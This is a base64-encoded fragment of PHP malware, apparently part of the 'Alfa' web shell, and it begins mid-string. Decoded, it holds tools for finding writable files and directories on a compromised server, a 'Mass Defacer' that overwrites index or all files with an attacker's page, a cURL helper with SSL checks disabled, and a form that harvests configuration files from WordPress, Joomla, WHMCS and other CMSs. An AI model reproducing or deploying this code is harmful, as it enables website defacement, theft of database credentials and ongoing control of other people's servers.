vbmZpZ0dyYWJiZXIoJGRpciwgJGV4dCk7Cn0KZm9yZWFjaCAoJGdsb2JGaWxlcyBhcyAkZmlsZSl7CiRmaWxlZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7CmlmKHByZWdfbWF0Y2goJHBhdHRlcm4sICRmaWxlZSkpewplY2hvICI8ZGl2PjxzcGFuPiRmaWxlPC9zcGFuPiA8YSBzdHlsZT0nY3Vyc29yOnBvaW50ZXI7JyBvbmNsaWNrPVwiZWRpdG9yKCciLiRmaWxlLiInLCdhdXRvJywnJywnJywnJywnZmlsZScpO1wiPlsgVmlldyBmaWxlIF08L2E+PC9kaXY+IjsKfQp9Cn0KfQpmdW5jdGlvbiBhbGZhc2VhcmNoZXIoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBTZWFyY2hlciB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnc2VhcmNoZXJcJyxudWxsLFwnZmlsZVwnKSI+fCBGaW5kIFJlYWRhYmxlIE9yIFdyaXRhYmxlIEZpbGVzIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdzdHJcJykiPnwgRmluZCBGaWxlcyBCeSBOYW1lIHwgPC9hPjwvaDM+PC9jZW50ZXI+JzsKaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmJF9QT1NUWydhbGZhMSddPT0nZmlsZScpewplY2hvICc8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEZpbmQgUmVhZGFibGUgT3IgV3JpdGFibGUgRmlsZXMgIHw8L2Rpdj48YnI+PGJyPjxmb3JtIG5hbWU9InNyY2giIG9uU3VibWl0PSJnKFwnc2VhcmNoZXJcJyxudWxsLFwnZmlsZVwnLHRoaXMuZmlsZW5hbWUudmFsdWUsdGhpcy5leHQudmFsdWUsdGhpcy5tZXRob2QudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9XCdwb3N0XCc+CjxkaXYgY2xhc3M9InR4dGZvbnQiPgpNZXRob2Q6IDxzZWxlY3Qgc3R5bGU9IndpZHRoOiAxOCU7IiBvbmNsaWNrPSJhbGZhX3NlYXJjaGVyX3Rvb2wodGhpcy52YWx1ZSk7IiBuYW1lPSJtZXRob2QiPjxvcHRpb24gdmFsdWU9ImZpbGVzIj5GaW5kIEFsbCBXcml0YWJsZSBGaWxlczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRpcnMiPkZpbmQgQWxsIFdyaXRhYmxlIERpcnM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJhbGwiPkZpbmQgQWxsIFJlYWRhYmxlIEFuZCBXcml0YWJsZSBGaWxlczwvb3B0aW9uPjwvc2VsZWN0PgpEaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZmlsZW5hbWUiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4KRXh0OiA8c21hbGw+PGZvbnQgY29sb3I9InJlZCI+WyAqID0gYWxsIEV4dCBdPC9mb250Pjwvc21hbGw+IDxpbnB1dCBpZD0iZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJleHQiIHNpemU9IjUiIHZhbHVlPSJwaHAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRkaXIgPSAkX1BPU1RbJ2FsZmEyJ107CiRleHQgPSAkX1BPU1RbJ2FsZmEzJ107CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107CmlmKCRfUE9TVFsnYWxmYTUnXT09Jz4+Jyl7CmVjaG8gX19wcmUoKTsKaWYoc3Vic3RyKCRkaXIsLTEpPT0nLycpJGRpcj1zdWJzdHIoJGRpciwwLC0xKTsKQWxmYV9TZWFyY2hlcigkZGlyLHRyaW0oJGV4dCksJG1ldGhvZCk7Cn0KfQppZigkX1BPU1RbJ2FsZmExJ109PSdzdHInKXsKZWNobyAnPGNlbnRlcj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBGaW5kIEZpbGVzIEJ5IE5hbWUgLyBGaW5kIFN0cmluZyBJbiBGaWxlcyB8PC9kaXY+PGJyPjxicj48Zm9ybSBvblN1Ym1pdD0iZyhcJ3NlYXJjaGVyXCcsbnVsbCxcJ3N0clwnLHRoaXMuZGlyLnZhbHVlLHRoaXMuc3RyaW5nLnZhbHVlLFwnPj5cJyx0aGlzLmV4dC52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij4KTWV0aG9kOiA8c2VsZWN0IG5hbWU9Im1ldGhvZCI+PG9wdGlvbiB2YWx1ZT0ibmFtZSI+RmluZCBGaWxlcyBCeSBOYW1lPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ic3RyIj5GaW5kIFN0cmluZyBJbiBGaWxlczwvb3B0aW9uPjwvc2VsZWN0PgpTdHJpbmc6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzdHJpbmciIHZhbHVlPSIiPgpEaXI6IDxpbnB1dCBzaXplPSI1MCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+CkV4dDogPHNtYWxsPjxmb250IGNvbG9yPSJyZWQiPlsgKiA9IGFsbCBFeHQgXTwvZm9udD48L3NtYWxsPiA8aW5wdXQgaWQ9ImV4dCIgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyIgdHlwZT0idGV4dCIgbmFtZT0iZXh0IiBzaXplPSI1IiB2YWx1ZT0icGhwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9kaXY+PC9mb3JtPjwvY2VudGVyPjxicj4nOwokZGlyID0gJF9QT1NUWydhbGZhMiddOwokc3RyaW5nID0gJF9QT1NUWydhbGZhMyddOwokZXh0ID0gJF9QT1NUWydhbGZhNSddOwppZighZW1wdHkoJHN0cmluZykgQU5EICFlbXB0eSgkZGlyKSBBTkQgJF9QT1NUWydhbGZhNCddID09ICc+PicpewplY2hvIF9fcHJlKCk7CkFsZmFfU3RyU2VhcmNoZXIoJGRpciwkc3RyaW5nLCRleHQsJF9QT1NUWydhbGZhNiddKTsKfQp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhTWFzc0RlZmFjZXIoKXsKYWxmYWhlYWQoKTsKQWxmYU51bSg1LDYsNyw4LDksMTApOwplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IE1hc3MgRGVmYWNlciB8PC9kaXY+PC9wPjxmb3JtIG9uU3VibWl0PVwiZygnTWFzc0RlZmFjZXInLG51bGwsdGhpcy5tYXNzZGlyLnZhbHVlLHRoaXMuZGVmcGFnZS52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSwnPj4nKTtyZXR1cm4gZmFsc2U7XCIgbWV0aG9kPSdwb3N0Jz4iOwplY2hvICc8ZGl2IGNsYXNzPSJ0eHRmb250Ij5EZWZhY2UgTWV0aG9kOiA8c2VsZWN0IG5hbWU9Im1ldGhvZCI+PG9wdGlvbiB2YWx1ZT0iaW5kZXgiPkRlZmFjZSBJbmRleCBEaXJzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iYWxsIj5BbGwgRmlsZXM8L29wdGlvbj48L3NlbGVjdD4KTWFzcyBkaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0ibWFzc2RpciIgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgpEZWZQYWdlOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImRlZnBhZ2UiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj48L2Rpdj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9jZW50ZXI+PC9wPgo8L2Zvcm0+JzsKJGRpciA9ICRfUE9TVFsnYWxmYTEnXTsKJGRlZnBhZ2UgPSAkX1BPU1RbJ2FsZmEyJ107CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmEzJ107CiRmQ3VycmVudCA9ICRHTE9CQUxTWydfX2ZpbGVfcGF0aCddOwppZigkX1BPU1RbJ2FsZmE0J10gPT0gJz4+Jyl7CmlmKCFlbXB0eSgkZGlyKSl7CmlmKEBpc19kaXIoJGRpcikpewppZihAaXNfcmVhZGFibGUoJGRpcikpewppZihAaXNfZmlsZSgkZGVmcGFnZSkpewppZigkZGggPSBAb3BlbmRpcigkZGlyKSl7CmVjaG8gX19wcmUoKTsKd2hpbGUgKCgkZmlsZSA9IEByZWFkZGlyKCRkaCkpICE9PSBmYWxzZSl7CmlmKCRmaWxlID09ICcuLicgfHwgJGZpbGUgPT0gJy4nKWNvbnRpbnVlOwokbmV3ZmlsZT0kZGlyLiRmaWxlOwppZigkZkN1cnJlbnQgPT0gJG5ld2ZpbGUpY29udGludWU7CmlmKEBpc19kaXIoJG5ld2ZpbGUpKXsKQWxmYV9SZWFkRGlyKCRuZXdmaWxlLCRtZXRob2QsJGRlZnBhZ2UpOwp9ZWxzZXsKaWYoIUBpc193cml0YWJsZSgkbmV3ZmlsZSkpY29udGludWU7CmlmKCFAaXNfcmVhZGFibGUoJG5ld2ZpbGUpKWNvbnRpbnVlOwpBbGZhX1Jld3JpdGVyKCRuZXdmaWxlLCRmaWxlLCRkZWZwYWdlLCRtZXRob2QpOwp9Cn0KY2xvc2VkaXIoJGRoKTsKfWVsc2V7X19hbGVydCgnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IgSW4gT3BlbkRpci4uLjwvZm9udD4nKTt9Cn1lbHNle19fYWxlcnQoJzxmb250IGNvbG9yPSJyZWQiPkRlZlBhZ2UgRmlsZSBOb3RGb3VuZC4uLjwvZm9udD4nKTt9Cn1lbHNle19fYWxlcnQoJzxmb250IGNvbG9yPSJyZWQiPkRpcmVjdG9yeSBpcyBub3QgUmVhZGFibGUuLi48L2ZvbnQ+Jyk7fQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj5NYXNzIERpciBpcyBJbnZhbGlkIERpci4uLjwvZm9udD4nKTt9Cn1lbHNle19fYWxlcnQoJzxmb250IGNvbG9yPSJyZWQiPkRpciBpcyBFbXB0eS4uLjwvZm9udD4nKTt9Cn0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIEFsZmFfUmVhZERpcigkZGlyLCRtZXRob2Q9JycsJGRlZnBhZ2U9JycpewppZighQGlzX3JlYWRhYmxlKCRkaXIpKSByZXR1cm4gZmFsc2U7CmlmIChAaXNfZGlyKCRkaXIpKSB7CmlmICgkZGggPSBAb3BlbmRpcigkZGlyKSkgewp3aGlsZSgoJGZpbGU9cmVhZGRpcigkZGgpKSE9PWZhbHNlKSB7CmlmKCRmaWxlID09ICcuLicgfHwgJGZpbGUgPT0gJy4nKWNvbnRpbnVlOwokbmV3ZmlsZT0kZGlyLicvJy4kZmlsZTsKaWYoQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSYmQGlzX2RpcigkbmV3ZmlsZSkpQWxmYV9SZWFkRGlyKCRuZXdmaWxlLCRtZXRob2QsJGRlZnBhZ2UpOwppZihAaXNfZmlsZSgkbmV3ZmlsZSkpewppZighQGlzX3JlYWRhYmxlKCRuZXdmaWxlKSljb250aW51ZTsKQWxmYV9SZXdyaXRlcigkbmV3ZmlsZSwkZmlsZSwkZGVmcGFnZSwkbWV0aG9kKTsKfQp9CmNsb3NlZGlyKCRkaCk7Cn0KfQp9CmZ1bmN0aW9uIEFsZmFfUmV3cml0ZXIoJGRpciwkZmlsZSwkZGVmcGFnZSwkbT0naW5kZXgnKXsKaWYoIUBpc193cml0YWJsZSgkZGlyKSkgcmV0dXJuIGZhbHNlOwppZighQGlzX3JlYWRhYmxlKCRkaXIpKSByZXR1cm4gZmFsc2U7CiRkZWZwYWdlPUBmaWxlX2dldF9jb250ZW50cygkZGVmcGFnZSk7CmlmKCRtID09ICdpbmRleCcpewokaW5kZXhzID0gYXJyYXkoJ2luZGV4LnBocCcsJ2luZGV4Lmh0bScsJ2luZGV4Lmh0bWwnLCdkZWZhdWx0LmFzcCcsJ2RlZmF1bHQuYXNweCcsJ2luZGV4LmFzcCcsJ2luZGV4LmFzcHgnLCdpbmRleC5qcycpOwppZihpbl9hcnJheShzdHJ0b2xvd2VyKCRmaWxlKSwkaW5kZXhzKSl7CkBmaWxlX3B1dF9jb250ZW50cygkZGlyLCRkZWZwYWdlKTsKZWNobyBAaXNfZmlsZSgkZGlyKT8kZGlyLiI8Yj48Zm9udCBjb2xvcj0ncmVkJz5EZUZhY2VkLi4uPC9iPjwvZm9udD48YnI+IiA6ICcnOwp9Cn1lbHNlaWYoJG09PSdhbGwnKXsKQGZpbGVfcHV0X2NvbnRlbnRzKCRkaXIsJGRlZnBhZ2UpOwplY2hvIEBpc19maWxlKCRkaXIpPyRkaXIuIiAgPGI+PGZvbnQgY29sb3I9J3JlZCc+RGVGYWNlZC4uLjwvYj48L2ZvbnQ+PGJyPiIgOiAnJzsKfQp9CmZ1bmN0aW9uIGFsZmFHZXREaXNGdW5jKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9ImhlYWRlciI+JzsKJGRpc2Z1biA9IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwokcyA9IGV4cGxvZGUoJywnLCRkaXNmdW4pOwokZiA9IGFycmF5X3VuaXF1ZSgkcyk7CmVjaG8gJzxjZW50ZXI+PGJyPjxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj5EaXNhYmxlIEZ1bmN0aW9uczwvZm9udD48L2I+PHByZT48dGFibGUgYm9yZGVyPSIxIj48dHI+PHRkIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiBncmVlbjtjb2xvcjogd2hpdGU7d2lkdGg6NSUiPiM8L3RkPjx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogZ3JlZW47Y29sb3I6IHdoaXRlOyI+RnVuYyBOYW1lPC90ZD48L3RyPic7CiRpPTE7CmZvcmVhY2goJGYgYXMgJHMpewokcz10cmltKCRzKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCRzKXx8IWlzX2NhbGxhYmxlKCRzKSljb250aW51ZTsKZWNobyAnPHRyPjx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7Ij4nLiRpLic8L3RkPic7CmVjaG8gJzx0ZCBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7Ij48YSBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lOyIgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly9waHAubmV0L21hbnVhbC9lbi9mdW5jdGlvbi4nLnN0cl9yZXBsYWNlKCdfJywnLScsJHMpLicucGhwIj48c3BhbiBjbGFzcz0iZGlzYWJsZV9mdW5jdGlvbnMiPjxiPicuJHMuJzwvYj48L3NwYW4+PC9hPjwvdGQ+JzsKJGkrKzsKfQplY2hvICc8L3RhYmxlPjwvY2VudGVyPic7CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBBbGZhX0NyZWF0ZV9BX1RhZygkYWN0aW9uLCR2YWxzKXsKJG51bGxzID0gYXJyYXkoKTsKZm9yZWFjaCgkdmFscyBhcyAka2V5ID0+ICR2YWwpewplY2hvICc8YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnJy4kYWN0aW9uLidcJywnOwpmb3IoJGk9MTskaTw9JHZhbFsxXS0xOyRpKyspJG51bGxzW10gPSAnbnVsbCc7CiRmID0gaW1wbG9kZSgnLCcsJG51bGxzKTsKZWNobyAkZi4nLFwnJy4kdmFsWzBdLidcJyk7cmV0dXJuIGZhbHNlOyI+fCAnLiRrZXkuJyB8IDwvYT4nOwp1bnNldCgkbnVsbHMpOwp9Cn0KZnVuY3Rpb24gQWxmYV9TZWFyY2hlcigkZGlyLCAkZXh0LCAkbWV0aG9kKSB7CmlmKEBpc19yZWFkYWJsZSgkZGlyKSl7CmlmKCRtZXRob2QgPT0gJ2FsbCcpJGV4dCA9ICcqJzsKaWYoJG1ldGhvZCA9PSAnZGlycycpJGV4dCA9ICcqJzsKJGdsb2JGaWxlcyA9IEBnbG9iKCIkZGlyLyouJGV4dCIpOwokZ2xvYkRpcnMgID0gQGdsb2IoIiRkaXIvKiIsIEdMT0JfT05MWURJUik7CiRibGFja2xpc3QgPSBhcnJheSgpOwpmb3JlYWNoICgkZ2xvYkRpcnMgYXMgJGRpcikgewppZighQGlzX3JlYWRhYmxlKCRkaXIpfHxAaXNfbGluaygkZGlyKSkgY29udGludWU7CkBBbGZhX1NlYXJjaGVyKCRkaXIsICRleHQsICRtZXRob2QpOwp9CnN3aXRjaCgkbWV0aG9kKXsKY2FzZSAiZmlsZXMiOgpmb3JlYWNoICgkZ2xvYkZpbGVzIGFzICRmaWxlKXsKaWYoQGlzX3dyaXRhYmxlKCRmaWxlKSl7CmVjaG8gIiRmaWxlPGJyPiI7Cn0KfQpicmVhazsKY2FzZSAiZGlycyI6CmZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpewppZihAaXNfd3JpdGFibGUoZGlybmFtZSgkZmlsZSkpICYmICFpbl9hcnJheShkaXJuYW1lKCRmaWxlKSwgJGJsYWNrbGlzdCkpewplY2hvIGRpcm5hbWUoJGZpbGUpLic8YnI+JzsKJGJsYWNrbGlzdFtdID0gZGlybmFtZSgkZmlsZSk7Cn0KfQpicmVhazsKY2FzZSAiYWxsIjoKZm9yZWFjaCAoJGdsb2JGaWxlcyBhcyAkZmlsZSl7CmVjaG8gJGZpbGUuJzxicj4nOwp9CmJyZWFrOwp9CnVuc2V0KCRibGFja2xpc3QpOwp9Cn0KZnVuY3Rpb24gQWxmYWlGcmFtZUNyZWF0b3IoJGYsJHdpZHRoPScxMDAlJywkaGVpZ2h0PSc2MDBweCcpewpyZXR1cm4oJzxpZnJhbWUgc3JjPSInLl9fQUxGQV9EQVRBX0ZPTERFUl9fLiIvIi4kZi4nIiB3aWR0aD0iJy4kd2lkdGguJyIgaGVpZ2h0PSInLiRoZWlnaHQuJyIgZnJhbWVib3JkZXI9IjAiPjwvaWZyYW1lPicpOwp9CmNsYXNzIEFsZmFDVVJMIHsKcHVibGljICRoZWFkZXJzOwpwdWJsaWMgJHVzZXJfYWdlbnQ7CnB1YmxpYyAkY29tcHJlc3Npb247CnB1YmxpYyAkY29va2llX2ZpbGU7CnB1YmxpYyAkcHJveHk7CnB1YmxpYyAkcGF0aDsKcHVibGljICRzc2wgPSB0cnVlOwpwdWJsaWMgJGN1cmxfc3RhdHVzID0gdHJ1ZTsKZnVuY3Rpb24gX19jb25zdHJ1Y3QoJGNvb2tpZXM9ZmFsc2UsJGNvbXByZXNzaW9uPSdnemlwJywkcHJveHk9JycpewppZighZXh0ZW5zaW9uX2xvYWRlZCgnY3VybCcpKXskY3VybF9zdGF0dXMgPSBmYWxzZTtyZXR1cm4gZmFsc2U7fQokdGhpcy0+aGVhZGVyc1tdID0gJ0FjY2VwdDogaW1hZ2UvZ2lmLCBpbWFnZS94LWJpdG1hcCwgaW1hZ2UvanBlZywgaW1hZ2UvcGpwZWcnOwokdGhpcy0+aGVhZGVyc1tdID0gJ0Nvbm5lY3Rpb246IEtlZXAtQWxpdmUnOwokdGhpcy0+aGVhZGVyc1tdID0gJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkO2NoYXJzZXQ9VVRGLTgnOwokdGhpcy0+dXNlcl9hZ2VudCA9ICdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBJbnRlbCBNYWMgT1MgWCAxMF8xNF82KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvODMuMC40MTAzLjYxIFNhZmFyaS81MzcuMzYpJzsKJHRoaXMtPnBhdGggPSBBTEZBX1RFTVBESVIuJy9BbGZhX2Nvb2tpZXMudHh0JzsKJHRoaXMtPmNvbXByZXNzaW9uPSRjb21wcmVzc2lvbjsKJHRoaXMtPnByb3h5PSRwcm94eTsKJHRoaXMtPmNvb2tpZXM9JGNvb2tpZXM7CmlmKCR0aGlzLT5jb29raWVzKSR0aGlzLT5jb29raWUoJHRoaXMtPnBhdGgpOwp9CmZ1bmN0aW9uIGNvb2tpZSgkY29va2llX2ZpbGUpIHsKaWYgKF9hbGZhX2ZpbGVfZXhpc3RzKCRjb29raWVfZmlsZSxmYWxzZSkpIHsKJHRoaXMtPmNvb2tpZV9maWxlPSRjb29raWVfZmlsZTsKfWVsc2V7CkBmb3BlbigkY29va2llX2ZpbGUsJ3cnKSBvciBkaWUoJHRoaXMtPmVycm9yKCdUaGUgY29va2llIGZpbGUgY291bGQgbm90IGJlIG9wZW5lZC4nKSk7CiR0aGlzLT5jb29raWVfZmlsZT0kY29va2llX2ZpbGU7CkBmY2xvc2UoJHRoaXMtPmNvb2tpZV9maWxlKTsKfQp9CmZ1bmN0aW9uIFNlbmQoJHVybCwkbWV0aG9kPSJnZXQiLCRkYXRhPSIiKXsKaWYoISR0aGlzLT5jdXJsX3N0YXR1cyl7cmV0dXJuIGZhbHNlO30KJHByb2Nlc3MgPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hUVFBIRUFERVIsICR0aGlzLT5oZWFkZXJzKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfSEVBREVSLCAwKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfVVNFUkFHRU5ULCAkdGhpcy0+dXNlcl9hZ2VudCk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfRU5DT0RJTkcgLCAkdGhpcy0+Y29tcHJlc3Npb24pOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9USU1FT1VULCAzMCk7CmlmKCR0aGlzLT5zc2wpewpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiAsZmFsc2UpOwpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCxmYWxzZSk7Cn0KaWYoJHRoaXMtPmNvb2tpZXMpewpjdXJsX3NldG9wdCgkcHJvY2VzcywgQ1VSTE9QVF9DT09LSUVGSUxFLCAkdGhpcy0+cGF0aCk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0NPT0tJRUpBUiwgJHRoaXMtPnBhdGgpOwp9CmlmKCR0aGlzLT5wcm94eSl7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BST1hZLCAkdGhpcy0+cHJveHkpOwp9CmlmKCRtZXRob2Q9PSdwb3N0Jyl7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX1BPU1RGSUVMRFMsICRkYXRhKTsKY3VybF9zZXRvcHQoJHByb2Nlc3MsIENVUkxPUFRfUE9TVCwgMSk7CmN1cmxfc2V0b3B0KCRwcm9jZXNzLCBDVVJMT1BUX0hUVFBIRUFERVIsIGFycmF5KCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpKTsKfQokcmV0dXJuID0gQGN1cmxfZXhlYygkcHJvY2Vzcyk7CmN1cmxfY2xvc2UoJHByb2Nlc3MpOwpyZXR1cm4gJHJldHVybjsKfQpmdW5jdGlvbiBlcnJvcigkZXJyb3IpIHsKZWNobyAiPGNlbnRlcj48ZGl2IHN0eWxlPSd3aWR0aDo1MDBweDtib3JkZXI6IDNweCBzb2xpZCAjRkZFRUZGOyBwYWRkaW5nOiAzcHg7IGJhY2tncm91bmQtY29sb3I6ICNGRkRERkY7Zm9udC1mYW1pbHk6IHZlcmRhbmE7IGZvbnQtc2l6ZTogMTBweCc+PGI+Y1VSTCBFcnJvcjwvYj48YnI+JGVycm9yPC9kaXY+PC9jZW50ZXI+IjsKZGllOwp9Cn0KZnVuY3Rpb24gZ2V0Q29uZmlnSHRtbCgkY21zKXsKJGNvbnRlbnQgPSAnJzsKJGNtc19hcnJheSA9IGFycmF5KCJ3cCIgPT4gIldvcmRQcmVzcyIsICJ2YiIgPT4gInZCdWxsZXRpbiIsICJ3aG1jcyIgPT4gIldobWNzIiwgImpvb21sYSIgPT4gIkpvb21sYSIsICJwaHBudWtlIiA9PiAiUEhQTnVrZSIsInBocGJiIj0+IlBIUEJCIiwibXliYiI9PiJNeUJCIiwiZHJ1cGFsIj0+IkRydXBhbCIsInNtZiI9PiJTTUYiKTsKJGNvbnRlbnQgLj0gIjxmb3JtIGNsYXNzPSdnZXRjb25maWcnIG9uU3VibWl0PSdnKFwiR2V0Q29uZmlnXCIsbnVsbCx0aGlzLmNtcy52YWx1ZSx0aGlzLnBhdGgudmFsdWUsdGhpcy5nZXRBdHRyaWJ1dGUoXCJiYXNlX2lkXCIpKTtyZXR1cm4gZmFsc2U7Jz48ZGl2IGNsYXNzPSd0eHRmb250Jz5DbXM6IDwvZGl2PiA8c2VsZWN0IG5hbWU9J2NtcydzdHlsZT0nd2lkdGg6MTAwcHg7Jz4iOwpmb3JlYWNoKCRjbXNfYXJyYXkgYXMgJGtleSA9PiAkdmFsKXsKJGNvbnRlbnQgLj0gIjxvcHRpb24gdmFsdWU9J3ska2V5fScgIi4oJGtleT09JGNtcz8nc2VsZWN0ZWQ9c2VsZWN0ZWQnOicnKS4iPnskdmFsfTwvb3B0aW9uPiI7Cn0KJGNvbnRlbnQgLj0gIjwvc2VsZWN0PiA8ZGl2IGNsYXNzPSd0eHRmb250Jz5QYXRoKGluc3RhbGxlZCBjbXMvQ29uZmlnKTogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXRoJyB2YWx1ZT0nIi4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiIvJyBzaXplPSczMCcgLz4gPGJ1dHRvbiBjbGFzcz0nYnV0dG9uJz5HZXRDb25maWc8L2J1dHRvbj4iOwokY29udGVudCAuPSAiPC9mb3JtPiI7CnJldHVybiAkY29udGVudDsKfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnanNvbl9lbmNvZGUnKSl7CmZ1bmN0aW9uIGpzb25fZW5jb2RlKCRhPWZhbHNlKXsKaWYgKGlzX251bGwoJGEpKSByZXR1cm4gJ251bGwnOwppZiAoJGEgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsKaWYgKCRhID09PSB0cnVlKSByZXR1cm4gJ3RydWUnOwppZiAoaXNfc2NhbGFyKCRhKSkKewppZiAoaXNfZmxvYXQoJGEpKQp7CnJldHVybiBmbG9hdHZhbChzdHJfcmVwbGFjZSgiLCIsICIuIiwgc3RydmFsKCRhKSkpOwp9CgppZiAoaXNfc3RyaW5nKCRhKSkKewpzdGF0aWMgJGpzb25SZXBsYWNlcyA9IGFycmF5KGFycmF5KCJcXCIsICIvIiwgIlxuIiwgIlx0IiwgIlxyIiwgIlxiIiwgIlxmIiwgJyInKSwgYXJyYXkoJ1xcXFwnLCAnXFwvJywgJ1xcbicsICdcXHQnLCAnXFxyJywgJ1xcYicsICdcXGYnLCAnXCInKSk7CnJldHVybiAnIicgLiBzdHJfcmVwbGFjZSgkanNvblJlcGxhY2VzWzBdLCAkanNvblJlcGxhY2VzWzFdLCAkYSkgLiAnIic7Cn0KZWxzZQpyZXR1cm4gJGE7Cn0KJGlzTGlzdCA9IHRydWU7CmZvciAoJGkgPSAwLCByZXNldCgkYSk7ICRpIDwgY291bnQoJGEpOyAkaSsrLCBuZXh0KCRhKSkKewppZiAoa2V5KCRhKSAhPT0gJGkpCnsKJGlzTGlzdCA9IGZhbHNlOwpicmVhazsKfQp9CiRyZXN1bHQgPSBhcnJheSgpOwppZiAoJGlzTGlzdCkKewpmb3JlYWNoICgkYSBhcyAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNvZGUoJHYpOwpyZXR1cm4gJ1snIC4gam9pbignLCcsICRyZXN1bHQpIC4gJ10nOwp9CmVsc2UK